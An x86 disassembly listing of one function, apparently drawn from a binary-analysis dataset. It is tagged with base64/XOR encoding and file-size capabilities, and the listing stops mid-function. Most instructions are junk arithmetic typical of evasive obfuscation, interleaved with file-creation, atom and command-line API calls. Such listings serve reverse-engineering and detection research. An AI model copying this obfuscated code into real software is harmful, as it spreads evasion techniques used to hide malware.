Function at 0x401100
Capabilities:
Accept command line arguments
Encode data using base64
Encode data using xor
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x748
push esi
mov dword [ebp - 0x3b0], 0xd10
mov dword [ebp - 0x414], 0x6168
movzx eax, byte [section..data]
sub eax, 0x31
mov byte [section..data], al
mov ecx, 0x614
mov word [ebp - 0x4ac], cx
mov dword [ebp - 0x500], 0x57d4
mov dword [ebp - 0x410], 0xb659
mov dword [ebp - 0x15c], 0xbef7
mov edx, dword [ebp - 0x3b0]
mov dword [ebp - 0x58c], edx
mov dword [ebp - 0x420], 0x959b
mov dword [ebp - 0x4ec], 0x340c
mov al, byte [section..data]
mov byte [ebp - 0x1a5], al
mov dword [ebp - 0x4f8], 0xc887
mov byte [ebp - 0x385], 0x2a
mov ecx, dword [ebp - 0x58c]
add ecx, 0x735e
mov dword [ebp - 0x3b0], ecx
mov edx, dword [ebp - 0x58c]
and edx, 0x3ff2
mov dword [ebp - 0x3b0], edx
movzx eax, byte [ebp - 0x1a5]
sar eax, 2
mov byte [section..data], al
movsx ecx, byte [ebp - 0x385]
or ecx, 0x5d
mov byte [ebp - 0x385], cl
movsx edx, word [ebp - 0x4ac]
xor edx, 0x247
mov word [ebp - 0x4ac], dx
mov eax, dword [ebp - 0x500]
sub eax, 0x69
mov dword [ebp - 0x500], eax
mov ecx, dword [ebp - 0x58c]
shl ecx, 0x10
mov dword [ebp - 0x3b0], ecx
movzx edx, byte [section..data]
add edx, 0x96
mov byte [ebp - 0x1a5], dl
movsx eax, byte [ebp - 0x385]
sub eax, 0x1a
mov byte [ebp - 0x385], al
mov ecx, dword [ebp - 0x58c]
and ecx, 0x4e6b
mov dword [ebp - 0x3b0], ecx
movzx edx, byte [ebp - 0x1a5]
add edx, 0x5d
mov byte [section..data], dl
mov eax, dword [ebp - 0x58c]
sub eax, 0x52cb
mov dword [ebp - 0x3b0], eax
movsx ecx, byte [ebp - 0x385]
sub ecx, 0x4e
mov byte [ebp - 0x385], cl
movzx edx, byte [section..data]
add edx, 0xa5
mov byte [ebp - 0x1a5], dl
cmp dword [ebp - 0x500], 0x3c59
jae 0x401193
cmp dword [ebp - 0x420], 0x9d0b
ja 0x4015f9
mov eax, dword [ebp - 0x3b0]
or eax, 0xa86
mov dword [ebp - 0x58c], eax
movsx ecx, byte [ebp - 0x385]
sar ecx, 6
mov byte [ebp - 0x385], cl
movzx edx, byte [ebp - 0x1a5]
xor edx, 0x56
mov byte [section..data], dl
movsx eax, word [ebp - 0x4ac]
shl eax, 6
mov word [ebp - 0x4ac], ax
mov ecx, dword [ebp - 0x58c]
and ecx, 0x58a1
mov dword [ebp - 0x3b0], ecx
mov edx, dword [ebp - 0x58c]
sub edx, 0x2bb4
mov dword [ebp - 0x3b0], edx
movsx eax, byte [ebp - 0x385]
add eax, 0x3d
mov byte [ebp - 0x385], al
movzx ecx, byte [section..data]
sub ecx, 0x37
mov byte [ebp - 0x1a5], cl
movzx edx, byte [ebp - 0x1a5]
add edx, 0x31
mov byte [section..data], dl
movsx eax, byte [ebp - 0x385]
and eax, 0x39
mov byte [ebp - 0x385], al
mov ecx, dword [ebp - 0x58c]
sub ecx, 0x3689
mov dword [ebp - 0x3b0], ecx
mov edx, dword [ebp - 0x3b0]
add edx, 0x2e0d
mov dword [ebp - 0x58c], edx
movzx eax, byte [section..data]
sub eax, 0xed
mov byte [ebp - 0x1a5], al
movsx ecx, byte [ebp - 0x385]
add ecx, 0x7a
mov byte [ebp - 0x385], cl
movsx edx, word [ebp - 0x4ac]
shl edx, 0xc
mov word [ebp - 0x4ac], dx
movsx eax, byte [ebp - 0x385]
sar eax, 4
mov byte [ebp - 0x385], al
movzx ecx, byte [ebp - 0x1a5]
or ecx, 0x15
mov byte [section..data], cl
movzx edx, byte [section..data]
xor edx, 0x2e
mov byte [ebp - 0x1a5], dl
mov eax, dword [ebp - 0x420]
add eax, 0x70
mov dword [ebp - 0x420], eax
mov ecx, dword [ebp - 0x3b0]
and ecx, 0x43e7
mov dword [ebp - 0x58c], ecx
movsx edx, byte [ebp - 0x385]
add edx, 0x2f
mov byte [ebp - 0x385], dl
mov eax, dword [ebp - 0x3b0]
sub eax, 0x3f36
mov dword [ebp - 0x58c], eax
movsx ecx, byte [ebp - 0x385]
sub ecx, 0x74
mov byte [ebp - 0x385], cl
movzx edx, byte [section..data]
add edx, 0x4e
mov byte [ebp - 0x1a5], dl
movzx eax, byte [section..data]
add eax, 0x3f
mov byte [ebp - 0x1a5], al
movsx ecx, byte [ebp - 0x385]
and ecx, 0x69
mov byte [ebp - 0x385], cl
mov edx, dword [ebp - 0x58c]
sub edx, 0x3bb5
mov dword [ebp - 0x3b0], edx
movsx eax, word [ebp - 0x4ac]
add eax, 0x26
mov word [ebp - 0x4ac], ax
movsx ecx, byte [ebp - 0x385]
sub ecx, 0xd
mov byte [ebp - 0x385], cl
movzx edx, byte [section..data]
sar edx, 4
mov byte [ebp - 0x1a5], dl
movzx eax, byte [section..data]
or eax, 0xa8
mov byte [ebp - 0x1a5], al
movsx ecx, byte [ebp - 0x385]
xor ecx, 2
mov byte [ebp - 0x385], cl
mov edx, dword [ebp - 0x3b0]
shl edx, 0x1e
mov dword [ebp - 0x58c], edx
mov eax, dword [ebp - 0x58c]
and eax, 0x41ba
mov dword [ebp - 0x3b0], eax
movsx ecx, word [ebp - 0x4ac]
add ecx, 0x3fb
mov word [ebp - 0x4ac], cx
movzx edx, byte [section..data]
sub edx, 0xa3
mov byte [ebp - 0x1a5], dl
movzx eax, byte [ebp - 0x1a5]
sub eax, 0x21
mov byte [section..data], al
movsx ecx, byte [ebp - 0x385]
add ecx, 0x53
mov byte [ebp - 0x385], cl
movzx edx, byte [section..data]
add edx, 0xec
mov byte [ebp - 0x1a5], dl
mov eax, dword [ebp - 0x3b0]
sub eax, 0x6128
mov dword [ebp - 0x58c], eax
movzx ecx, byte [section..data]
and ecx, 0xc7
mov byte [ebp - 0x1a5], cl
movzx edx, byte [ebp - 0x1a5]
add edx, 6
mov byte [section..data], dl
mov eax, dword [ebp - 0x58c]
sar eax, 0x18
mov dword [ebp - 0x3b0], eax
mov ecx, dword [ebp - 0x58c]
shl ecx, 0x1d
mov dword [ebp - 0x3b0], ecx
movsx edx, byte [ebp - 0x385]
or edx, 0x79
mov byte [ebp - 0x385], dl
mov eax, dword [ebp - 0x3b0]
xor eax, 0x42ea
mov dword [ebp - 0x58c], eax
movzx ecx, byte [ebp - 0x1a5]
sub ecx, 0x66
mov byte [section..data], cl
movsx edx, byte [ebp - 0x385]
and edx, 0xc
mov byte [ebp - 0x385], dl
movsx eax, word [ebp - 0x4ac]
add eax, 0x28b
mov word [ebp - 0x4ac], ax
movsx ecx, byte [ebp - 0x385]
sub ecx, 7
mov byte [ebp - 0x385], cl
movzx edx, byte [section..data]
add edx, 0x76
mov byte [ebp - 0x1a5], dl
jmp 0x401291
movsx eax, word [ebp - 0x4ac]
cmp eax, 0x59c
jne 0x40163b
mov ecx, dword [ebp - 0x3b0]
sub ecx, 0x24d2
mov dword [ebp - 0x58c], ecx
mov edx, dword [ebp - 0x58c]
sub edx, 0x3cb1
mov dword [ebp - 0x3b0], edx
movzx eax, byte [section..data]
add eax, 0x49
mov byte [ebp - 0x1a5], al
mov ecx, 0x250
mov word [ebp - 0x1b0], cx
mov dl, byte [ebp - 0x1a5]
mov byte [0x40ec82], dl
movzx eax, byte [ebp - 0x1a5]
movzx ecx, byte [0x40ec82]
sub eax, ecx
movzx edx, byte [section..data]
cmp eax, edx
jl 0x401686
lea eax, [ebp - 0x4a8]
push eax
call dword [sym.imp.COMDLG32.dll_GetOpenFileNameW]
mov dword [ebp - 0x394], eax
call fcn.004048a0
mov cl, byte [ebp - 0x1a5]
mov byte [ebp - 0x3b1], cl
mov edx, dword [ebp - 0x3b0]
mov dword [ebp - 0x158], edx
push 0
push 0x40
push 3
push 0
push 2
push 0xc0000000
push str.VRXWrtgPEU8p4bFVuT9CoN1O3Q0r
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x318], eax
mov eax, dword [ebp - 0x58c]
imul eax, eax, 0x55b1
mov dword [ebp - 0x158], eax
mov cx, word [ebp - 0x1b0]
mov word [ebp - 0x3c0], cx
mov dl, byte [section..data]
mov byte [ebp - 0x71d], dl
movzx eax, word [ebp - 0x1b0]
movzx ecx, word [ebp - 0x3c0]
and eax, ecx
mov word [0x40e004], ax
lea edx, [ebp - 0x3b0]
mov dword [ebp - 0x708], edx
mov eax, dword [ebp - 0x58c]
mov dword [ebp - 0x3cc], eax
mov dword [ebp - 0x148], 0x114
mov ecx, dword [ebp - 0x708]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x158], edx
lea eax, [ebp - 0x3cc]
mov dword [ebp - 0x510], eax
mov edx, dword [ebp - 0x158]
or edx, dword [ebp - 0x58c]
mov eax, dword [ebp - 0x3cc]
mov ecx, dword [ebp - 0x3b0]
shl eax, cl
cmp edx, eax
jge 0x4017d3
mov ecx, dword [ebp - 0x510]
mov edx, dword [ecx]
push edx
mov eax, dword [ebp - 0x510]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp - 0x708]
mov eax, dword [edx]
push eax
mov ecx, dword [ebp - 0x158]
push ecx
mov edx, dword [ebp - 0x510]
mov eax, dword [edx]
push eax
call fcn.004010a0
add esp, 0x14
mov ecx, dword [ebp - 0x708]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x3cc]
sar edx, cl
mov eax, dword [ebp - 0x510]
mov dword [eax], edx
movsx ecx, byte [ebp - 0x385]
add ecx, 0x73
mov byte [ebp - 0x385], cl
movzx edx, byte [ebp - 0x71d]
movzx eax, byte [ebp - 0x3b1]
sub edx, eax
mov byte [ebp - 0x1a5], dl
jmp 0x40184f
movsx ecx, byte [ebp - 0x385]
cmp ecx, 0x5d
jne 0x40184f
mov edx, dword [ebp - 0x158]
push edx
mov eax, dword [ebp - 0x510]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp - 0x510]
mov eax, dword [edx]
push eax
mov ecx, dword [ebp - 0x158]
push ecx
mov edx, dword [ebp - 0x3b0]
push edx
call fcn.004010a0
add esp, 0x14
movzx eax, word [ebp - 0x1b0]
movzx ecx, word [ebp - 0x3c0]
and eax, ecx
mov word [0x40e004], ax
mov edx, dword [ebp - 0x510]
mov eax, dword [ebp - 0x3cc]
add eax, dword [edx]
mov ecx, dword [ebp - 0x708]
mov dword [ecx], eax
movsx edx, byte [ebp - 0x385]
sub edx, 0x7e
mov byte [ebp - 0x385], dl
call fcn.004048a0
mov dword [ebp - 0x14c], 0x4c52
mov ax, word [ebp - 0x3c0]
mov word [ebp - 0x1c], ax
movsx ecx, word [ebp - 0x4ac]
mov dword [ebp - 0x724], ecx
cmp dword [ebp - 0x724], 0x30b
je 0x4047a0
cmp dword [ebp - 0x724], 0x6ac
je 0x401892
jmp 0x4047d1
mov edx, dword [ebp - 0x58c]
mov dword [ebp - 0x154], edx
movzx eax, word [ebp - 0x3c0]
movzx ecx, word [ebp - 0x1c]
sub eax, ecx
mov word [ebp - 0x1b0], ax
mov dl, byte [ebp - 0x71d]
mov byte [ebp - 0x3cd], dl
mov dword [ebp - 0x71c], 0x54e5
push str.HV_ICuB9_Rh0fo
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x30], ax
mov eax, dword [ebp - 0x708]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x58c]
mov dword [ebp - 0x158], ecx
mov dword [ebp - 0x374], 0xf1f4
mov dx, word [ebp - 0x4ac]
mov word [ebp - 0x384], dx
cmp dword [ebp - 0x374], 0xc378
jb 0x401a74
movsx eax, byte [ebp - 0x385]
xor eax, 0x65
mov byte [ebp - 0x385], al
movzx ecx, word [ebp - 0x3c0]
movzx edx, word [ebp - 0x1b0]
or ecx, edx
mov word [ebp - 0x1c], cx
mov eax, dword [ebp - 0x708]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x154]
sar edx, cl
mov eax, dword [ebp - 0x708]
mov dword [eax], edx
mov ecx, dword [ebp - 0x510]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x58c]
shl edx, cl
mov eax, dword [ebp - 0x708]
mov dword [eax], edx
mov ecx, dword [ebp - 0x158]
and ecx, dword [ebp - 0x154]
mov dword [ebp - 0x3b0], ecx
mov edx, dword [ebp - 0x510]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x708]
add eax, dword [ecx]
mov edx, dword [ebp - 0x510]
mov dword [edx], eax
mov eax, dword [ebp - 0x71c]
sub eax, 0xc271
mov dword [ebp - 0x71c], eax
mov ecx, dword [ebp - 0x708]
mov edx, dword [ebp - 0x3b0]
and edx, dword [ecx]
mov dword [ebp - 0x154], edx
mov eax, dword [ebp - 0x708]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x58c]
mov edx, dword [ebp - 0x510]
mov dword [edx], ecx
movzx eax, byte [ebp - 0x3cd]
movzx ecx, byte [ebp - 0x1a5]
sub eax, ecx
mov byte [ebp - 0x3b1], al
mov edx, dword [ebp - 0x708]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x510]
add eax, dword [ecx]
mov dword [ebp - 0x3b0], eax
mov edx, dword [ebp - 0x71c]
add edx, 0xf623
mov dword [ebp - 0x71c], edx
movzx eax, byte [ebp - 0x3b1]
movzx ecx, byte [ebp - 0x3cd]
sub eax, ecx
mov byte [0x40ec82], al
mov edx, dword [ebp - 0x374]
sub edx, 0x8c
mov dword [ebp - 0x374], edx
mov eax, dword [ebp - 0x708]
mov ecx, dword [ebp - 0x3cc]
or ecx, dword [eax]
mov dword [ebp - 0x3b0], ecx
movzx edx, byte [ebp - 0x3b1]
movzx ecx, byte [ebp - 0x3cd]
shl edx, cl
mov byte [ebp - 0x71d], dl
movzx eax, word [0x40e004]
movzx ecx, word [ebp - 0x1c]
sar eax, cl
mov word [ebp - 0x1b0], ax
jmp 0x401903
movzx ecx, byte [0x40ec82]
movzx edx, byte [ebp - 0x3b1]
xor ecx, edx
movzx eax, byte [ebp - 0x3cd]
movzx edx, byte [ebp - 0x71d]
and eax, edx
cmp ecx, eax
jg 0x401ad8
mov eax, dword [ebp - 0x71c]
and eax, 0x3396
mov dword [ebp - 0x71c], eax
mov ecx, dword [ebp - 0x510]
mov edx, dword [ebp - 0x3cc]
add edx, dword [ecx]
mov dword [ebp - 0x58c], edx
mov eax, dword [ebp - 0x510]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x3cc]
mov edx, dword [ebp - 0x708]
mov dword [edx], ecx
jmp 0x404748
movsx eax, word [ebp - 0x4ac]
movsx ecx, word [ebp - 0x384]
sub eax, ecx
mov word [0x40e008], ax
cmp dword [ebp - 0x14c], 0x540e
jae 0x401e0c
movzx edx, word [ebp - 0x1b0]
movzx eax, word [ebp - 0x1c]
add edx, eax
mov word [ebp - 0x3c0], dx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x4d0], eax
mov ecx, dword [ebp - 0x14c]
add ecx, 0x14
mov dword [ebp - 0x14c], ecx
mov edx, dword [ebp - 0x71c]
xor edx, 0xb8c3
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x708]
mov ecx, dword [ebp - 0x510]
mov edx, dword [eax]
mov ecx, dword [ecx]
shl edx, cl
mov dword [ebp - 0x3b0], edx
mov eax, dword [ebp - 0x158]
or eax, dword [ebp - 0x58c]
mov dword [ebp - 0x154], eax
mov ecx, dword [ebp - 0x71c]
shr ecx, 0xa
mov dword [ebp - 0x71c], ecx
movzx edx, byte [ebp - 0x1a5]
movzx eax, byte [ebp - 0x3cd]
and edx, eax
mov byte [ebp - 0x3b1], dl
movzx ecx, word [ebp - 0x1b0]
movzx edx, word [ebp - 0x3c0]
sub ecx, edx
mov word [ebp - 0x1c], cx
mov eax, dword [ebp - 0x510]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x708]
add ecx, dword [edx]
mov eax, dword [ebp - 0x510]
mov dword [eax], ecx
movsx ecx, word [ebp - 0x384]
movsx edx, word [ebp - 0x4ac]
add ecx, edx
mov word [0x40e008], cx
mov eax, dword [ebp - 0x71c]
sub eax, 0xfb92
mov dword [ebp - 0x71c], eax
mov ecx, dword [ebp - 0x510]
mov edx, dword [ecx]
add edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x158], edx
mov eax, dword [ebp - 0x708]
mov ecx, dword [ebp - 0x58c]
and ecx, dword [eax]
mov edx, dword [ebp - 0x510]
mov dword [edx], ecx
mov eax, dword [ebp - 0x510]
mov ecx, dword [ebp - 0x154]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x708]
mov dword [edx], ecx
movsx eax, byte [ebp - 0x385]
add eax, 0x3b
mov byte [ebp - 0x385], al
movzx ecx, word [ebp - 0x3c0]
movzx edx, word [ebp - 0x1b0]
sub ecx, edx
mov word [ebp - 0x1c], cx
movzx eax, byte [ebp - 0x3b1]
movzx ecx, byte [ebp - 0x3cd]
sar eax, cl
mov byte [ebp - 0x1a5], al
mov ecx, dword [ebp - 0x71c]
or ecx, 0x4ee1
mov dword [ebp - 0x71c], ecx
movzx edx, byte [ebp - 0x1a5]
movzx ecx, byte [ebp - 0x71d]
shl edx, cl
mov byte [0x40ec82], dl
mov eax, dword [ebp - 0x158]
xor eax, dword [ebp - 0x3cc]
mov ecx, dword [ebp - 0x708]
mov dword [ecx], eax
movzx edx, byte [ebp - 0x3cd]
movzx eax, byte [ebp - 0x1a5]
and edx, eax
mov byte [ebp - 0x3b1], dl
mov ecx, dword [ebp - 0x71c]
add ecx, 0xdb5f
mov dword [ebp - 0x71c], ecx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 0x708]
mov eax, dword [ebp - 0x154]
sub eax, dword [edx]
mov dword [ebp - 0x158], eax
mov ecx, dword [ebp - 0x708]
mov edx, dword [ecx]
add edx, dword [ebp - 0x58c]
mov dword [ebp - 0x154], edx
mov eax, dword [ebp - 0x71c]
sub eax, 0xc315
mov dword [ebp - 0x71c], eax
movzx ecx, word [ebp - 0x1b0]
movzx edx, word [ebp - 0x3c0]
add ecx, edx
mov word [ebp - 0x1c], cx
movzx eax, byte [ebp - 0x71d]
movzx ecx, byte [ebp - 0x3cd]
add eax, ecx
mov byte [ebp - 0x3b1], al
movzx edx, byte [section..data]
movzx eax, byte [ebp - 0x3b1]
and edx, eax
mov byte [0x40ec82], dl
mov ecx, dword [ebp - 0x3b0]
sub ecx, dword [ebp - 0x154]
mov dword [ebp - 0x158], ecx
movsx edx, byte [ebp - 0x385]
or edx, 0x73
mov byte [ebp - 0x385], dl
movsx eax, word [ebp - 0x384]
movsx ecx, word [0x40e008]
shl eax, cl
mov word [ebp - 0x4ac], ax
movzx ecx, word [ebp - 0x3c0]
movzx edx, word [ebp - 0x1c]
xor ecx, edx
mov word [ebp - 0x1b0], cx
movzx eax, byte [ebp - 0x71d]
movzx ecx, byte [ebp - 0x3b1]
sar eax, cl
mov byte [ebp - 0x3cd], al
mov ecx, dword [ebp - 0x158]
sub ecx, dword [ebp - 0x3cc]
mov edx, dword [ebp - 0x510]
mov dword [edx], ecx
mov eax, dword [ebp - 0x71c]
and eax, 0x39ca
mov dword [ebp - 0x71c], eax
movzx ecx, word [ebp - 0x30]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x3ac], ax
mov edx, dword [ebp - 0x708]
mov eax, dword [ebp - 0x3b0]
add eax, dword [edx]
mov dword [ebp - 0x3cc], eax
movsx ecx, word [ebp - 0x4ac]
movsx edx, word [ebp - 0x384]
sub ecx, edx
mov word [0x40e008], cx
jmp 0x401aee
mov eax, dword [ebp - 0x708]
mov ecx, dword [ebp - 0x3cc]
sub ecx, dword [eax]
mov dword [ebp - 0x58c], ecx
movzx edx, byte [ebp - 0x3cd]
movzx eax, byte [ebp - 0x1a5]
sub edx, eax
mov byte [ebp - 0x3b1], dl
mov ecx, dword [ebp - 0x510]
mov edx, dword [ebp - 0x154]
add edx, dword [ecx]
mov eax, dword [ebp - 0x708]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4f8]
sub ecx, 0x86
mov dword [ebp - 0x4f8], ecx
mov edx, dword [ebp - 0x71c]
add edx, 0xa018
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x510]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x708]
add ecx, dword [edx]
mov eax, dword [ebp - 0x510]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x510]
mov edx, dword [ecx]
and edx, dword [ebp - 0x154]
mov dword [ebp - 0x158], edx
mov eax, dword [ebp - 0x71c]
xor eax, 0x7c6b
mov dword [ebp - 0x71c], eax
mov ecx, dword [ebp - 0x708]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x58c]
sar edx, cl
mov eax, dword [ebp - 0x510]
mov dword [eax], edx
movzx ecx, word [ebp - 0x1b0]
movzx edx, word [ebp - 0x3c0]
or ecx, edx
mov word [ebp - 0x1c], cx
movsx eax, word [ebp - 0x384]
movsx ecx, word [ebp - 0x4ac]
shl eax, cl
mov word [0x40e008], ax
movsx ecx, word [ebp - 0x384]
movsx edx, word [0x40e008]
sub ecx, edx
mov word [ebp - 0x4ac], cx
mov eax, dword [ebp - 0x708]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x3cc]
mov edx, dword [ebp - 0x510]
mov dword [edx], ecx
mov eax, dword [ebp - 0x154]
and eax, dword [ebp - 0x3cc]
mov dword [ebp - 0x3b0], eax
movzx ecx, word [0x40e004]
movzx edx, word [ebp - 0x3c0]
add ecx, edx
mov word [ebp - 0x1b0], cx
cmp dword [ebp - 0x4f8], 0xb84d
ja 0x401e0c
movzx eax, word [ebp - 0x3c0]
movzx ecx, word [ebp - 0x1b0]
sub eax, ecx
movzx edx, word [ebp - 0x1c]
movzx ecx, word [0x40e004]
sub edx, ecx
cmp eax, edx
je 0x404721
mov edx, dword [ebp - 0x3cc]
add edx, dword [ebp - 0x58c]
mov dword [ebp - 0x158], edx
movsx eax, word [ebp - 0x384]
mov dword [ebp - 0x728], eax
cmp dword [ebp - 0x728], 0x6ac
je 0x401fb3
cmp dword [ebp - 0x728], 0x6bb
je 0x402003
jmp 0x402019
movsx ecx, byte [ebp - 0x385]
sub ecx, 0x1f
cmp ecx, 0x27
je 0x402001
push str.ON_jscKTQ_Fmi6A_C21D
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x20], ax
mov edx, dword [ebp - 0x71c]
mov dword [ebp - 0x178], edx
lea eax, [ebp - 0x154]
mov dword [ebp - 0x300], eax
mov ecx, dword [ebp - 0x178]
mov dword [0x40ec88], ecx
mov edx, dword [ebp - 0x154]
mov dword [ebp - 0x180], edx
jmp 0x402019
mov eax, dword [ebp - 0x708]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x158]
mov edx, dword [ebp - 0x510]
mov dword [edx], ecx
movzx eax, byte [ebp - 0x3b1]
movzx ecx, byte [ebp - 0x1a5]
sub eax, ecx
mov byte [ebp - 0x3cd], al
movzx eax, word [ebp - 0x1c]
movzx ecx, word [ebp - 0x1b0]
cdq
idiv ecx
movzx edx, word [ebp - 0x3c0]
movzx ecx, word [0x40e004]
shl edx, cl
cmp eax, edx
je 0x4020a6
mov eax, dword [ebp - 0x510]
mov ecx, dword [eax]
xor ecx, dword [ebp - 0x3b0]
mov edx, dword [ebp - 0x300]
mov eax, dword [ebp - 0x58c]
or eax, dword [edx]
cmp ecx, eax
jle 0x402081
movzx ecx, word [ebp - 0x4ac]
push ecx
call fcn.00404900
add esp, 4
lea edx, [ebp - 0x450]
push edx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov eax, dword [ebp - 0x71c]
mov dword [ebp - 0x3f0], eax
mov ecx, dword [ebp - 0x180]
mov dword [ebp - 0x4b4], ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov dword [ebp - 0x2e0], eax
mov edx, dword [ebp - 0x708]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x158]
sar eax, cl
mov dword [ebp - 0x3cc], eax
mov ecx, dword [ebp - 0x708]
mov edx, dword [ecx]
and edx, dword [ebp - 0x58c]
mov dword [ebp - 0x180], edx
mov eax, dword [ebp - 0x178]
mov dword [ebp - 0x72c], eax
cmp dword [ebp - 0x72c], 0xb3f1
je 0x402109
cmp dword [ebp - 0x72c], 0xfbd49
je 0x40219e
jmp 0x4021ea
mov ecx, dword [ebp - 0x300]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x708]
add edx, dword [eax]
mov dword [ebp - 0x3cc], edx
movzx ecx, word [ebp - 0x1b0]
movzx edx, word [ebp - 0x3c0]
sub ecx, edx
mov word [0x40e004], cx
movsx eax, word [ebp - 0x4ac]
movsx ecx, word [0x40e008]
and eax, ecx
mov word [ebp - 0x384], ax
mov edx, dword [ebp - 0x300]
mov eax, dword [edx]
push eax
call fcn.00404940
add esp, 4
mov ecx, dword [ebp - 0x510]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x300]
add edx, dword [eax]
mov ecx, dword [ebp - 0x708]
mov dword [ecx], edx
movzx edx, word [ebp - 0x3c0]
movzx eax, word [ebp - 0x1c]
add edx, eax
mov word [ebp - 0x1b0], dx
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x3f0]
mov dword [ebp - 0x178], ecx
jmp 0x4021ea
mov dword [ebp - 0x37c], 0x40ec88
mov dx, word [ebp - 0x1b0]
mov word [ebp - 0x3dc], dx
movzx eax, byte [ebp - 0x71d]
movzx ecx, byte [ebp - 0x3cd]
sub eax, ecx
mov byte [ebp - 0x3b1], al
mov edx, dword [ebp - 0x158]
mov dword [ebp - 0x2dc], edx
mov eax, dword [ebp - 0x178]
sub eax, dword [ebp - 0x3f0]
mov dword [ebp - 0x71c], eax
movzx edx, byte [ebp - 0x1a5]
movzx eax, byte [ebp - 0x3b1]
or edx, eax
movzx eax, byte [ebp - 0x3cd]
movzx ecx, byte [ebp - 0x71d]
shl eax, cl
cmp edx, eax
jge 0x40223b
mov ecx, dword [ebp - 0x2dc]
push ecx
mov edx, dword [ebp - 0x510]
mov eax, dword [edx]
push eax
mov ecx, dword [ebp - 0x3cc]
push ecx
mov edx, dword [ebp - 0x180]
push edx
mov eax, dword [ebp - 0x180]
push eax
call fcn.004010a0
add esp, 0x14
mov ecx, dword [ebp - 0x300]
mov edx, dword [ebp - 0x158]
xor edx, dword [ecx]
mov dword [ebp - 0x154], edx
lea eax, [ebp - 0x2f8]
push eax
mov ecx, dword [ebp - 0x318]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [ebp - 0x424], eax
mov edx, dword [ebp - 0x510]
mov eax, dword [ebp - 0x58c]
mov ecx, dword [edx]
sar eax, cl
mov dword [ebp - 0x3b0], eax
movzx ecx, byte [ebp - 0x3b1]
movzx edx, byte [0x40ec82]
and ecx, edx
mov byte [ebp - 0x3cd], cl
movzx eax, word [ebp - 0x3dc]
movzx ecx, word [ebp - 0x1b0]
sub eax, ecx
mov word [ebp - 0x3c0], ax
mov edx, dword [ebp - 0x178]
add edx, dword [ebp - 0x3f0]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x708]
mov ecx, dword [ebp - 0x58c]
add ecx, dword [eax]
mov dword [ebp - 0x2dc], ecx
movsx edx, byte [ebp - 0x385]
sub edx, 0x38
mov byte [ebp - 0x385], dl
movsx eax, word [ebp - 0x4ac]
movsx ecx, word [ebp - 0x384]
and eax, ecx
mov word [0x40e008], ax
push 0
push 0x2fdad7
mov edx, dword [ebp - 0x318]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [ebp - 0x3d4], eax
movzx eax, byte [ebp - 0x3b1]
movzx ecx, byte [ebp - 0x3cd]
add eax, ecx
mov byte [ebp - 0x71d], al
mov edx, dword [ebp - 0x300]
mov eax, dword [ebp - 0x58c]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x708]
mov dword [ecx], eax
mov edx, dword [ebp - 0x178]
add edx, dword [ebp - 0x3f0]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x3cc]
sub eax, dword [ebp - 0x158]
mov dword [ebp - 0x3b0], eax
mov ecx, dword [ebp - 0x300]
mov edx, dword [ebp - 0x3cc]
or edx, dword [ecx]
mov eax, dword [ebp - 0x708]
mov dword [eax], edx
mov edx, dword [ebp - 0x3f0]
mov ecx, dword [ebp - 0x178]
shl edx, cl
mov eax, dword [ebp - 0x37c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x300]
mov edx, dword [ebp - 0x510]
mov eax, dword [ecx]
mov ecx, dword [edx]
sar eax, cl
mov dword [ebp - 0x2dc], eax
mov ecx, dword [ebp - 0x58c]
xor ecx, dword [ebp - 0x3b0]
mov edx, dword [ebp - 0x510]
mov dword [edx], ecx
movzx eax, byte [ebp - 0x3cd]
movzx ecx, byte [ebp - 0x3b1]
and eax, ecx
mov byte [section..data], al
mov edx, dword [ebp - 0x180]
sub edx, dword [ebp - 0x158]
mov dword [ebp - 0x3cc], edx
lea eax, [ebp - 0x598]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov ecx, dword [0x40ec88]
sub ecx, dword [ebp - 0x71c]
mov edx, dword [ebp - 0x37c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x510]
mov ecx, dword [ebp - 0x4b4]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x708]
mov dword [edx], ecx
mov eax, dword [ebp - 0x510]
mov ecx, dword [eax]
